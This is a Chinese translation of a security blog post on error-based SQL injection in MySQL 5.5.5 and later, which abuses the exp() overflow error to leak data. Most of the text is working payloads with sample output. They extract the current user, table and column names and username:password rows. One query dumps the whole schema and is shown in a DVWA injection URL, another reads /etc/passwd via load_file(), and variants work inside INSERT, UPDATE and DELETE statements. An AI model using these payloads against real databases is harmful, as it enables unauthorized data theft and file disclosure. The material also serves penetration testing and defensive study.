此文为 BIGINT Overflow Error Based SQL Injection 的具体发现与实践
from: https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/
好消息好消息~作者又在 MySQL 中发现了一个 Double 型数据溢出。如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文: BIGINT Overflow Error based injections ,drops上面也有对应翻译,具体见这里。当我们拿到 MySQL 里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时, 函数exp() 就会引起一个溢出错误。
mysql> select exp(709); +-----------------------+ | exp(709) | +-----------------------+ | 8.218407461554972e307 | +-----------------------+ 1 row in set (0.00 sec) mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
在 MySQL 中, exp 与 ln 和 log 的功能相反,简单介绍下,就是 log 和 ln都返回以e为底数的对数,见等式:
mysql> select log(15); +------------------+ | log(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec) mysql> select ln(15); +------------------+ | ln(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec)
指数函数为对数函数的反函数, exp() 即为以e为底的对数函数,如等式:
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
当涉及到注入时,我们使用否定查询来造成“ DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“ 18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号 BIGINT 值。
mysql> select ~0; +----------------------+ | ~0 | +----------------------+ | 18446744073709551615 | +----------------------+ 1 row in set (0.00 sec) mysql> select ~(select version()); +----------------------+ | ~(select version()) | +----------------------+ | 18446744073709551610 | +----------------------+ 1 row in set, 1 warning (0.00 sec)
我们通过子查询与按位求反,造成一个 DOUBLE overflow error ,并借由此注出数据。
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
检索数据:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
你可以通过 load_file() 函数来读取文件,但作者发现有13行的限制,该语句也可以在 BIGINT overflow injections 中使用。
select exp(~(select*from(select load_file('/etc/passwd'))a));
注意,你无法写文件,因为这个错入写入的只是0。
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
按部就班就好
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
对于所有的 insert,update 和 delete 语句 DIOS 查询也同样可以使用。
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
可能还有其他的函数会产生这种报错。